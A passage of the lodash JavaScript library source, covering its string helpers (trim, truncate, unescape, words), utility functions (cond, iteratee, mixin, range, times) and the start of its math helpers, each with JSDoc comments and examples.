     * _.toLower('__FOO_BAR__');
     * // => '__foo_bar__'
     */
    function toLower(value) {
      return toString(value).toLowerCase();
    }

    /**
     * Converts `string`, as a whole, to upper case just like
     * [String#toUpperCase](https://mdn.io/toUpperCase).
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the upper cased string.
     * @example
     *
     * _.toUpper('--foo-bar--');
     * // => '--FOO-BAR--'
     *
     * _.toUpper('fooBar');
     * // => 'FOOBAR'
     *
     * _.toUpper('__foo_bar__');
     * // => '__FOO_BAR__'
     */
    function toUpper(value) {
      return toString(value).toUpperCase();
    }

    /**
     * Removes leading and trailing whitespace or specified characters from `string`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to trim.
     * @param {string} [chars=whitespace] The characters to trim.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the trimmed string.
     * @example
     *
     * _.trim('  abc  ');
     * // => 'abc'
     *
     * _.trim('-_-abc-_-', '_-');
     * // => 'abc'
     *
     * _.map(['  foo  ', '  bar  '], _.trim);
     * // => ['foo', 'bar']
     */
    function trim(string, chars, guard) {
      string = toString(string);
      if (string && (guard || chars === undefined)) {
        return baseTrim(string);
      }
      if (!string || !(chars = baseToString(chars))) {
        return string;
      }
      var strSymbols = stringToArray(string),
          chrSymbols = stringToArray(chars),
          start = charsStartIndex(strSymbols, chrSymbols),
          end = charsEndIndex(strSymbols, chrSymbols) + 1;

      return castSlice(strSymbols, start, end).join('');
    }

    /**
     * Removes trailing whitespace or specified characters from `string`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to trim.
     * @param {string} [chars=whitespace] The characters to trim.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the trimmed string.
     * @example
     *
     * _.trimEnd('  abc  ');
     * // => '  abc'
     *
     * _.trimEnd('-_-abc-_-', '_-');
     * // => '-_-abc'
     */
    function trimEnd(string, chars, guard) {
      string = toString(string);
      if (string && (guard || chars === undefined)) {
        return string.slice(0, trimmedEndIndex(string) + 1);
      }
      if (!string || !(chars = baseToString(chars))) {
        return string;
      }
      var strSymbols = stringToArray(string),
          end = charsEndIndex(strSymbols, stringToArray(chars)) + 1;

      return castSlice(strSymbols, 0, end).join('');
    }

    /**
     * Removes leading whitespace or specified characters from `string`.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to trim.
     * @param {string} [chars=whitespace] The characters to trim.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {string} Returns the trimmed string.
     * @example
     *
     * _.trimStart('  abc  ');
     * // => 'abc  '
     *
     * _.trimStart('-_-abc-_-', '_-');
     * // => 'abc-_-'
     */
    function trimStart(string, chars, guard) {
      string = toString(string);
      if (string && (guard || chars === undefined)) {
        return string.replace(reTrimStart, '');
      }
      if (!string || !(chars = baseToString(chars))) {
        return string;
      }
      var strSymbols = stringToArray(string),
          start = charsStartIndex(strSymbols, stringToArray(chars));

      return castSlice(strSymbols, start).join('');
    }

    /**
     * Truncates `string` if it's longer than the given maximum string length.
     * The last characters of the truncated string are replaced with the omission
     * string which defaults to "...".
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to truncate.
     * @param {Object} [options={}] The options object.
     * @param {number} [options.length=30] The maximum string length.
     * @param {string} [options.omission='...'] The string to indicate text is omitted.
     * @param {RegExp|string} [options.separator] The separator pattern to truncate to.
     * @returns {string} Returns the truncated string.
     * @example
     *
     * _.truncate('hi-diddly-ho there, neighborino');
     * // => 'hi-diddly-ho there, neighbo...'
     *
     * _.truncate('hi-diddly-ho there, neighborino', {
     *   'length': 24,
     *   'separator': ' '
     * });
     * // => 'hi-diddly-ho there,...'
     *
     * _.truncate('hi-diddly-ho there, neighborino', {
     *   'length': 24,
     *   'separator': /,? +/
     * });
     * // => 'hi-diddly-ho there...'
     *
     * _.truncate('hi-diddly-ho there, neighborino', {
     *   'omission': ' [...]'
     * });
     * // => 'hi-diddly-ho there, neig [...]'
     */
    function truncate(string, options) {
      var length = DEFAULT_TRUNC_LENGTH,
          omission = DEFAULT_TRUNC_OMISSION;

      if (isObject(options)) {
        var separator = 'separator' in options ? options.separator : separator;
        length = 'length' in options ? toInteger(options.length) : length;
        omission = 'omission' in options ? baseToString(options.omission) : omission;
      }
      string = toString(string);

      var strLength = string.length;
      if (hasUnicode(string)) {
        var strSymbols = stringToArray(string);
        strLength = strSymbols.length;
      }
      if (length >= strLength) {
        return string;
      }
      var end = length - stringSize(omission);
      if (end < 1) {
        return omission;
      }
      var result = strSymbols
        ? castSlice(strSymbols, 0, end).join('')
        : string.slice(0, end);

      if (separator === undefined) {
        return result + omission;
      }
      if (strSymbols) {
        end += (result.length - end);
      }
      if (isRegExp(separator)) {
        if (string.slice(end).search(separator)) {
          var match,
              substring = result;

          if (!separator.global) {
            separator = RegExp(separator.source, toString(reFlags.exec(separator)) + 'g');
          }
          separator.lastIndex = 0;
          while ((match = separator.exec(substring))) {
            var newEnd = match.index;
          }
          result = result.slice(0, newEnd === undefined ? end : newEnd);
        }
      } else if (string.indexOf(baseToString(separator), end) != end) {
        var index = result.lastIndexOf(separator);
        if (index > -1) {
          result = result.slice(0, index);
        }
      }
      return result + omission;
    }

    /**
     * The inverse of `_.escape`; this method converts the HTML entities
     * `&amp;`, `&lt;`, `&gt;`, `&quot;`, and `&#39;` in `string` to
     * their corresponding characters.
     *
     * **Note:** No other HTML entities are unescaped. To unescape additional
     * HTML entities use a third-party library like [_he_](https://mths.be/he).
     *
     * @static
     * @memberOf _
     * @since 0.6.0
     * @category String
     * @param {string} [string=''] The string to unescape.
     * @returns {string} Returns the unescaped string.
     * @example
     *
     * _.unescape('fred, barney, &amp; pebbles');
     * // => 'fred, barney, & pebbles'
     */
    function unescape(string) {
      string = toString(string);
      return (string && reHasEscapedHtml.test(string))
        ? string.replace(reEscapedHtml, unescapeHtmlChar)
        : string;
    }

    /**
     * Converts `string`, as space separated words, to upper case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the upper cased string.
     * @example
     *
     * _.upperCase('--foo-bar');
     * // => 'FOO BAR'
     *
     * _.upperCase('fooBar');
     * // => 'FOO BAR'
     *
     * _.upperCase('__foo_bar__');
     * // => 'FOO BAR'
     */
    var upperCase = createCompounder(function(result, word, index) {
      return result + (index ? ' ' : '') + word.toUpperCase();
    });

    /**
     * Converts the first character of `string` to upper case.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category String
     * @param {string} [string=''] The string to convert.
     * @returns {string} Returns the converted string.
     * @example
     *
     * _.upperFirst('fred');
     * // => 'Fred'
     *
     * _.upperFirst('FRED');
     * // => 'FRED'
     */
    var upperFirst = createCaseFirst('toUpperCase');

    /**
     * Splits `string` into an array of its words.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category String
     * @param {string} [string=''] The string to inspect.
     * @param {RegExp|string} [pattern] The pattern to match words.
     * @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
     * @returns {Array} Returns the words of `string`.
     * @example
     *
     * _.words('fred, barney, & pebbles');
     * // => ['fred', 'barney', 'pebbles']
     *
     * _.words('fred, barney, & pebbles', /[^, ]+/g);
     * // => ['fred', 'barney', '&', 'pebbles']
     */
    function words(string, pattern, guard) {
      string = toString(string);
      pattern = guard ? undefined : pattern;

      if (pattern === undefined) {
        return hasUnicodeWord(string) ? unicodeWords(string) : asciiWords(string);
      }
      return string.match(pattern) || [];
    }

    /*------------------------------------------------------------------------*/

    /**
     * Attempts to invoke `func`, returning either the result or the caught error
     * object. Any additional arguments are provided to `func` when it's invoked.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {Function} func The function to attempt.
     * @param {...*} [args] The arguments to invoke `func` with.
     * @returns {*} Returns the `func` result or error object.
     * @example
     *
     * // Avoid throwing errors for invalid selectors.
     * var elements = _.attempt(function(selector) {
     *   return document.querySelectorAll(selector);
     * }, '>_>');
     *
     * if (_.isError(elements)) {
     *   elements = [];
     * }
     */
    var attempt = baseRest(function(func, args) {
      try {
        return apply(func, undefined, args);
      } catch (e) {
        return isError(e) ? e : new Error(e);
      }
    });

    /**
     * Binds methods of an object to the object itself, overwriting the existing
     * method.
     *
     * **Note:** This method doesn't set the "length" property of bound functions.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {Object} object The object to bind and assign the bound methods to.
     * @param {...(string|string[])} methodNames The object method names to bind.
     * @returns {Object} Returns `object`.
     * @example
     *
     * var view = {
     *   'label': 'docs',
     *   'click': function() {
     *     console.log('clicked ' + this.label);
     *   }
     * };
     *
     * _.bindAll(view, ['click']);
     * jQuery(element).on('click', view.click);
     * // => Logs 'clicked docs' when clicked.
     */
    var bindAll = flatRest(function(object, methodNames) {
      arrayEach(methodNames, function(key) {
        key = toKey(key);
        baseAssignValue(object, key, bind(object[key], object));
      });
      return object;
    });

    /**
     * Creates a function that iterates over `pairs` and invokes the corresponding
     * function of the first predicate to return truthy. The predicate-function
     * pairs are invoked with the `this` binding and arguments of the created
     * function.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {Array} pairs The predicate-function pairs.
     * @returns {Function} Returns the new composite function.
     * @example
     *
     * var func = _.cond([
     *   [_.matches({ 'a': 1 }),           _.constant('matches A')],
     *   [_.conforms({ 'b': _.isNumber }), _.constant('matches B')],
     *   [_.stubTrue,                      _.constant('no match')]
     * ]);
     *
     * func({ 'a': 1, 'b': 2 });
     * // => 'matches A'
     *
     * func({ 'a': 0, 'b': 1 });
     * // => 'matches B'
     *
     * func({ 'a': '1', 'b': '2' });
     * // => 'no match'
     */
    function cond(pairs) {
      var length = pairs == null ? 0 : pairs.length,
          toIteratee = getIteratee();

      pairs = !length ? [] : arrayMap(pairs, function(pair) {
        if (typeof pair[1] != 'function') {
          throw new TypeError(FUNC_ERROR_TEXT);
        }
        return [toIteratee(pair[0]), pair[1]];
      });

      return baseRest(function(args) {
        var index = -1;
        while (++index < length) {
          var pair = pairs[index];
          if (apply(pair[0], this, args)) {
            return apply(pair[1], this, args);
          }
        }
      });
    }

    /**
     * Creates a function that invokes the predicate properties of `source` with
     * the corresponding property values of a given object, returning `true` if
     * all predicates return truthy, else `false`.
     *
     * **Note:** The created function is equivalent to `_.conformsTo` with
     * `source` partially applied.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {Object} source The object of property predicates to conform to.
     * @returns {Function} Returns the new spec function.
     * @example
     *
     * var objects = [
     *   { 'a': 2, 'b': 1 },
     *   { 'a': 1, 'b': 2 }
     * ];
     *
     * _.filter(objects, _.conforms({ 'b': function(n) { return n > 1; } }));
     * // => [{ 'a': 1, 'b': 2 }]
     */
    function conforms(source) {
      return baseConforms(baseClone(source, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that returns `value`.
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Util
     * @param {*} value The value to return from the new function.
     * @returns {Function} Returns the new constant function.
     * @example
     *
     * var objects = _.times(2, _.constant({ 'a': 1 }));
     *
     * console.log(objects);
     * // => [{ 'a': 1 }, { 'a': 1 }]
     *
     * console.log(objects[0] === objects[1]);
     * // => true
     */
    function constant(value) {
      return function() {
        return value;
      };
    }

    /**
     * Checks `value` to determine whether a default value should be returned in
     * its place. The `defaultValue` is returned if `value` is `NaN`, `null`,
     * or `undefined`.
     *
     * @static
     * @memberOf _
     * @since 4.14.0
     * @category Util
     * @param {*} value The value to check.
     * @param {*} defaultValue The default value.
     * @returns {*} Returns the resolved value.
     * @example
     *
     * _.defaultTo(1, 10);
     * // => 1
     *
     * _.defaultTo(undefined, 10);
     * // => 10
     */
    function defaultTo(value, defaultValue) {
      return (value == null || value !== value) ? defaultValue : value;
    }

    /**
     * Creates a function that returns the result of invoking the given functions
     * with the `this` binding of the created function, where each successive
     * invocation is supplied the return value of the previous.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {...(Function|Function[])} [funcs] The functions to invoke.
     * @returns {Function} Returns the new composite function.
     * @see _.flowRight
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var addSquare = _.flow([_.add, square]);
     * addSquare(1, 2);
     * // => 9
     */
    var flow = createFlow();

    /**
     * This method is like `_.flow` except that it creates a function that
     * invokes the given functions from right to left.
     *
     * @static
     * @since 3.0.0
     * @memberOf _
     * @category Util
     * @param {...(Function|Function[])} [funcs] The functions to invoke.
     * @returns {Function} Returns the new composite function.
     * @see _.flow
     * @example
     *
     * function square(n) {
     *   return n * n;
     * }
     *
     * var addSquare = _.flowRight([square, _.add]);
     * addSquare(1, 2);
     * // => 9
     */
    var flowRight = createFlow(true);

    /**
     * This method returns the first argument it receives.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {*} value Any value.
     * @returns {*} Returns `value`.
     * @example
     *
     * var object = { 'a': 1 };
     *
     * console.log(_.identity(object) === object);
     * // => true
     */
    function identity(value) {
      return value;
    }

    /**
     * Creates a function that invokes `func` with the arguments of the created
     * function. If `func` is a property name, the created function returns the
     * property value for a given element. If `func` is an array or object, the
     * created function returns `true` for elements that contain the equivalent
     * source properties, otherwise it returns `false`.
     *
     * @static
     * @since 4.0.0
     * @memberOf _
     * @category Util
     * @param {*} [func=_.identity] The value to convert to a callback.
     * @returns {Function} Returns the callback.
     * @example
     *
     * var users = [
     *   { 'user': 'barney', 'age': 36, 'active': true },
     *   { 'user': 'fred',   'age': 40, 'active': false }
     * ];
     *
     * // The `_.matches` iteratee shorthand.
     * _.filter(users, _.iteratee({ 'user': 'barney', 'active': true }));
     * // => [{ 'user': 'barney', 'age': 36, 'active': true }]
     *
     * // The `_.matchesProperty` iteratee shorthand.
     * _.filter(users, _.iteratee(['user', 'fred']));
     * // => [{ 'user': 'fred', 'age': 40 }]
     *
     * // The `_.property` iteratee shorthand.
     * _.map(users, _.iteratee('user'));
     * // => ['barney', 'fred']
     *
     * // Create custom iteratee shorthands.
     * _.iteratee = _.wrap(_.iteratee, function(iteratee, func) {
     *   return !_.isRegExp(func) ? iteratee(func) : function(string) {
     *     return func.test(string);
     *   };
     * });
     *
     * _.filter(['abc', 'def'], /ef/);
     * // => ['def']
     */
    function iteratee(func) {
      return baseIteratee(typeof func == 'function' ? func : baseClone(func, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that performs a partial deep comparison between a given
     * object and `source`, returning `true` if the given object has equivalent
     * property values, else `false`.
     *
     * **Note:** The created function is equivalent to `_.isMatch` with `source`
     * partially applied.
     *
     * Partial comparisons will match empty array and empty object `source`
     * values against any array or object value, respectively. See `_.isEqual`
     * for a list of supported value comparisons.
     *
     * **Note:** Multiple values can be checked by combining several matchers
     * using `_.overSome`
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {Object} source The object of property values to match.
     * @returns {Function} Returns the new spec function.
     * @example
     *
     * var objects = [
     *   { 'a': 1, 'b': 2, 'c': 3 },
     *   { 'a': 4, 'b': 5, 'c': 6 }
     * ];
     *
     * _.filter(objects, _.matches({ 'a': 4, 'c': 6 }));
     * // => [{ 'a': 4, 'b': 5, 'c': 6 }]
     *
     * // Checking for several possible values
     * _.filter(objects, _.overSome([_.matches({ 'a': 1 }), _.matches({ 'a': 4 })]));
     * // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
     */
    function matches(source) {
      return baseMatches(baseClone(source, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that performs a partial deep comparison between the
     * value at `path` of a given object to `srcValue`, returning `true` if the
     * object value is equivalent, else `false`.
     *
     * **Note:** Partial comparisons will match empty array and empty object
     * `srcValue` values against any array or object value, respectively. See
     * `_.isEqual` for a list of supported value comparisons.
     *
     * **Note:** Multiple values can be checked by combining several matchers
     * using `_.overSome`
     *
     * @static
     * @memberOf _
     * @since 3.2.0
     * @category Util
     * @param {Array|string} path The path of the property to get.
     * @param {*} srcValue The value to match.
     * @returns {Function} Returns the new spec function.
     * @example
     *
     * var objects = [
     *   { 'a': 1, 'b': 2, 'c': 3 },
     *   { 'a': 4, 'b': 5, 'c': 6 }
     * ];
     *
     * _.find(objects, _.matchesProperty('a', 4));
     * // => { 'a': 4, 'b': 5, 'c': 6 }
     *
     * // Checking for several possible values
     * _.filter(objects, _.overSome([_.matchesProperty('a', 1), _.matchesProperty('a', 4)]));
     * // => [{ 'a': 1, 'b': 2, 'c': 3 }, { 'a': 4, 'b': 5, 'c': 6 }]
     */
    function matchesProperty(path, srcValue) {
      return baseMatchesProperty(path, baseClone(srcValue, CLONE_DEEP_FLAG));
    }

    /**
     * Creates a function that invokes the method at `path` of a given object.
     * Any additional arguments are provided to the invoked method.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Util
     * @param {Array|string} path The path of the method to invoke.
     * @param {...*} [args] The arguments to invoke the method with.
     * @returns {Function} Returns the new invoker function.
     * @example
     *
     * var objects = [
     *   { 'a': { 'b': _.constant(2) } },
     *   { 'a': { 'b': _.constant(1) } }
     * ];
     *
     * _.map(objects, _.method('a.b'));
     * // => [2, 1]
     *
     * _.map(objects, _.method(['a', 'b']));
     * // => [2, 1]
     */
    var method = baseRest(function(path, args) {
      return function(object) {
        return baseInvoke(object, path, args);
      };
    });

    /**
     * The opposite of `_.method`; this method creates a function that invokes
     * the method at a given path of `object`. Any additional arguments are
     * provided to the invoked method.
     *
     * @static
     * @memberOf _
     * @since 3.7.0
     * @category Util
     * @param {Object} object The object to query.
     * @param {...*} [args] The arguments to invoke the method with.
     * @returns {Function} Returns the new invoker function.
     * @example
     *
     * var array = _.times(3, _.constant),
     *     object = { 'a': array, 'b': array, 'c': array };
     *
     * _.map(['a[2]', 'c[0]'], _.methodOf(object));
     * // => [2, 0]
     *
     * _.map([['a', '2'], ['c', '0']], _.methodOf(object));
     * // => [2, 0]
     */
    var methodOf = baseRest(function(object, args) {
      return function(path) {
        return baseInvoke(object, path, args);
      };
    });

    /**
     * Adds all own enumerable string keyed function properties of a source
     * object to the destination object. If `object` is a function, then methods
     * are added to its prototype as well.
     *
     * **Note:** Use `_.runInContext` to create a pristine `lodash` function to
     * avoid conflicts caused by modifying the original.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {Function|Object} [object=lodash] The destination object.
     * @param {Object} source The object of functions to add.
     * @param {Object} [options={}] The options object.
     * @param {boolean} [options.chain=true] Specify whether mixins are chainable.
     * @returns {Function|Object} Returns `object`.
     * @example
     *
     * function vowels(string) {
     *   return _.filter(string, function(v) {
     *     return /[aeiou]/i.test(v);
     *   });
     * }
     *
     * _.mixin({ 'vowels': vowels });
     * _.vowels('fred');
     * // => ['e']
     *
     * _('fred').vowels().value();
     * // => ['e']
     *
     * _.mixin({ 'vowels': vowels }, { 'chain': false });
     * _('fred').vowels();
     * // => ['e']
     */
    function mixin(object, source, options) {
      var props = keys(source),
          methodNames = baseFunctions(source, props);

      if (options == null &&
          !(isObject(source) && (methodNames.length || !props.length))) {
        options = source;
        source = object;
        object = this;
        methodNames = baseFunctions(source, keys(source));
      }
      var chain = !(isObject(options) && 'chain' in options) || !!options.chain,
          isFunc = isFunction(object);

      arrayEach(methodNames, function(methodName) {
        var func = source[methodName];
        object[methodName] = func;
        if (isFunc) {
          object.prototype[methodName] = function() {
            var chainAll = this.__chain__;
            if (chain || chainAll) {
              var result = object(this.__wrapped__),
                  actions = result.__actions__ = copyArray(this.__actions__);

              actions.push({ 'func': func, 'args': arguments, 'thisArg': object });
              result.__chain__ = chainAll;
              return result;
            }
            return func.apply(object, arrayPush([this.value()], arguments));
          };
        }
      });

      return object;
    }

    /**
     * Reverts the `_` variable to its previous value and returns a reference to
     * the `lodash` function.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @returns {Function} Returns the `lodash` function.
     * @example
     *
     * var lodash = _.noConflict();
     */
    function noConflict() {
      if (root._ === this) {
        root._ = oldDash;
      }
      return this;
    }

    /**
     * This method returns `undefined`.
     *
     * @static
     * @memberOf _
     * @since 2.3.0
     * @category Util
     * @example
     *
     * _.times(2, _.noop);
     * // => [undefined, undefined]
     */
    function noop() {
      // No operation performed.
    }

    /**
     * Creates a function that gets the argument at index `n`. If `n` is negative,
     * the nth argument from the end is returned.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {number} [n=0] The index of the argument to return.
     * @returns {Function} Returns the new pass-thru function.
     * @example
     *
     * var func = _.nthArg(1);
     * func('a', 'b', 'c', 'd');
     * // => 'b'
     *
     * var func = _.nthArg(-2);
     * func('a', 'b', 'c', 'd');
     * // => 'c'
     */
    function nthArg(n) {
      n = toInteger(n);
      return baseRest(function(args) {
        return baseNth(args, n);
      });
    }

    /**
     * Creates a function that invokes `iteratees` with the arguments it receives
     * and returns their results.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {...(Function|Function[])} [iteratees=[_.identity]]
     *  The iteratees to invoke.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var func = _.over([Math.max, Math.min]);
     *
     * func(1, 2, 3, 4);
     * // => [4, 1]
     */
    var over = createOver(arrayMap);

    /**
     * Creates a function that checks if **all** of the `predicates` return
     * truthy when invoked with the arguments it receives.
     *
     * Following shorthands are possible for providing predicates.
     * Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
     * Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {...(Function|Function[])} [predicates=[_.identity]]
     *  The predicates to check.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var func = _.overEvery([Boolean, isFinite]);
     *
     * func('1');
     * // => true
     *
     * func(null);
     * // => false
     *
     * func(NaN);
     * // => false
     */
    var overEvery = createOver(arrayEvery);

    /**
     * Creates a function that checks if **any** of the `predicates` return
     * truthy when invoked with the arguments it receives.
     *
     * Following shorthands are possible for providing predicates.
     * Pass an `Object` and it will be used as an parameter for `_.matches` to create the predicate.
     * Pass an `Array` of parameters for `_.matchesProperty` and the predicate will be created using them.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {...(Function|Function[])} [predicates=[_.identity]]
     *  The predicates to check.
     * @returns {Function} Returns the new function.
     * @example
     *
     * var func = _.overSome([Boolean, isFinite]);
     *
     * func('1');
     * // => true
     *
     * func(null);
     * // => true
     *
     * func(NaN);
     * // => false
     *
     * var matchesFunc = _.overSome([{ 'a': 1 }, { 'a': 2 }])
     * var matchesPropertyFunc = _.overSome([['a', 1], ['a', 2]])
     */
    var overSome = createOver(arraySome);

    /**
     * Creates a function that returns the value at `path` of a given object.
     *
     * @static
     * @memberOf _
     * @since 2.4.0
     * @category Util
     * @param {Array|string} path The path of the property to get.
     * @returns {Function} Returns the new accessor function.
     * @example
     *
     * var objects = [
     *   { 'a': { 'b': 2 } },
     *   { 'a': { 'b': 1 } }
     * ];
     *
     * _.map(objects, _.property('a.b'));
     * // => [2, 1]
     *
     * _.map(_.sortBy(objects, _.property(['a', 'b'])), 'a.b');
     * // => [1, 2]
     */
    function property(path) {
      return isKey(path) ? baseProperty(toKey(path)) : basePropertyDeep(path);
    }

    /**
     * The opposite of `_.property`; this method creates a function that returns
     * the value at a given path of `object`.
     *
     * @static
     * @memberOf _
     * @since 3.0.0
     * @category Util
     * @param {Object} object The object to query.
     * @returns {Function} Returns the new accessor function.
     * @example
     *
     * var array = [0, 1, 2],
     *     object = { 'a': array, 'b': array, 'c': array };
     *
     * _.map(['a[2]', 'c[0]'], _.propertyOf(object));
     * // => [2, 0]
     *
     * _.map([['a', '2'], ['c', '0']], _.propertyOf(object));
     * // => [2, 0]
     */
    function propertyOf(object) {
      return function(path) {
        return object == null ? undefined : baseGet(object, path);
      };
    }

    /**
     * Creates an array of numbers (positive and/or negative) progressing from
     * `start` up to, but not including, `end`. A step of `-1` is used if a negative
     * `start` is specified without an `end` or `step`. If `end` is not specified,
     * it's set to `start` with `start` then set to `0`.
     *
     * **Note:** JavaScript follows the IEEE-754 standard for resolving
     * floating-point values which can produce unexpected results.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {number} [start=0] The start of the range.
     * @param {number} end The end of the range.
     * @param {number} [step=1] The value to increment or decrement by.
     * @returns {Array} Returns the range of numbers.
     * @see _.inRange, _.rangeRight
     * @example
     *
     * _.range(4);
     * // => [0, 1, 2, 3]
     *
     * _.range(-4);
     * // => [0, -1, -2, -3]
     *
     * _.range(1, 5);
     * // => [1, 2, 3, 4]
     *
     * _.range(0, 20, 5);
     * // => [0, 5, 10, 15]
     *
     * _.range(0, -4, -1);
     * // => [0, -1, -2, -3]
     *
     * _.range(1, 4, 0);
     * // => [1, 1, 1]
     *
     * _.range(0);
     * // => []
     */
    var range = createRange();

    /**
     * This method is like `_.range` except that it populates values in
     * descending order.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {number} [start=0] The start of the range.
     * @param {number} end The end of the range.
     * @param {number} [step=1] The value to increment or decrement by.
     * @returns {Array} Returns the range of numbers.
     * @see _.inRange, _.range
     * @example
     *
     * _.rangeRight(4);
     * // => [3, 2, 1, 0]
     *
     * _.rangeRight(-4);
     * // => [-3, -2, -1, 0]
     *
     * _.rangeRight(1, 5);
     * // => [4, 3, 2, 1]
     *
     * _.rangeRight(0, 20, 5);
     * // => [15, 10, 5, 0]
     *
     * _.rangeRight(0, -4, -1);
     * // => [-3, -2, -1, 0]
     *
     * _.rangeRight(1, 4, 0);
     * // => [1, 1, 1]
     *
     * _.rangeRight(0);
     * // => []
     */
    var rangeRight = createRange(true);

    /**
     * This method returns a new empty array.
     *
     * @static
     * @memberOf _
     * @since 4.13.0
     * @category Util
     * @returns {Array} Returns the new empty array.
     * @example
     *
     * var arrays = _.times(2, _.stubArray);
     *
     * console.log(arrays);
     * // => [[], []]
     *
     * console.log(arrays[0] === arrays[1]);
     * // => false
     */
    function stubArray() {
      return [];
    }

    /**
     * This method returns `false`.
     *
     * @static
     * @memberOf _
     * @since 4.13.0
     * @category Util
     * @returns {boolean} Returns `false`.
     * @example
     *
     * _.times(2, _.stubFalse);
     * // => [false, false]
     */
    function stubFalse() {
      return false;
    }

    /**
     * This method returns a new empty object.
     *
     * @static
     * @memberOf _
     * @since 4.13.0
     * @category Util
     * @returns {Object} Returns the new empty object.
     * @example
     *
     * var objects = _.times(2, _.stubObject);
     *
     * console.log(objects);
     * // => [{}, {}]
     *
     * console.log(objects[0] === objects[1]);
     * // => false
     */
    function stubObject() {
      return {};
    }

    /**
     * This method returns an empty string.
     *
     * @static
     * @memberOf _
     * @since 4.13.0
     * @category Util
     * @returns {string} Returns the empty string.
     * @example
     *
     * _.times(2, _.stubString);
     * // => ['', '']
     */
    function stubString() {
      return '';
    }

    /**
     * This method returns `true`.
     *
     * @static
     * @memberOf _
     * @since 4.13.0
     * @category Util
     * @returns {boolean} Returns `true`.
     * @example
     *
     * _.times(2, _.stubTrue);
     * // => [true, true]
     */
    function stubTrue() {
      return true;
    }

    /**
     * Invokes the iteratee `n` times, returning an array of the results of
     * each invocation. The iteratee is invoked with one argument; (index).
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {number} n The number of times to invoke `iteratee`.
     * @param {Function} [iteratee=_.identity] The function invoked per iteration.
     * @returns {Array} Returns the array of results.
     * @example
     *
     * _.times(3, String);
     * // => ['0', '1', '2']
     *
     *  _.times(4, _.constant(0));
     * // => [0, 0, 0, 0]
     */
    function times(n, iteratee) {
      n = toInteger(n);
      if (n < 1 || n > MAX_SAFE_INTEGER) {
        return [];
      }
      var index = MAX_ARRAY_LENGTH,
          length = nativeMin(n, MAX_ARRAY_LENGTH);

      iteratee = getIteratee(iteratee);
      n -= MAX_ARRAY_LENGTH;

      var result = baseTimes(length, iteratee);
      while (++index < n) {
        iteratee(index);
      }
      return result;
    }

    /**
     * Converts `value` to a property path array.
     *
     * @static
     * @memberOf _
     * @since 4.0.0
     * @category Util
     * @param {*} value The value to convert.
     * @returns {Array} Returns the new property path array.
     * @example
     *
     * _.toPath('a.b.c');
     * // => ['a', 'b', 'c']
     *
     * _.toPath('a[0].b.c');
     * // => ['a', '0', 'b', 'c']
     */
    function toPath(value) {
      if (isArray(value)) {
        return arrayMap(value, toKey);
      }
      return isSymbol(value) ? [value] : copyArray(stringToPath(toString(value)));
    }

    /**
     * Generates a unique ID. If `prefix` is given, the ID is appended to it.
     *
     * @static
     * @since 0.1.0
     * @memberOf _
     * @category Util
     * @param {string} [prefix=''] The value to prefix the ID with.
     * @returns {string} Returns the unique ID.
     * @example
     *
     * _.uniqueId('contact_');
     * // => 'contact_104'
     *
     * _.uniqueId();
     * // => '105'
     */
    function uniqueId(prefix) {
      var id = ++idCounter;
      return toString(prefix) + id;
    }

    /*------------------------------------------------------------------------*/

    /**
     * Adds two numbers.
     *
     * @static
     * @memberOf _
     * @since 3.4.0
     * @category Math
     * @param {number} augend The first number in an addition.
     * @param {number} addend The second number in an addition.
     * @returns {number} Returns the total.
     * @example
     *
     * _.add(6, 4);
     * // => 10
     */
    var add = createMathOperation(function(augend, addend) {
      return augend + addend;
    }, 0);

    /**
     * Computes `number` rounded up to `precision`.
     *
     * @static
     * @memberOf _
     * @since 3.10.0
     * @category Math
     * @param {number} number The number to round up.
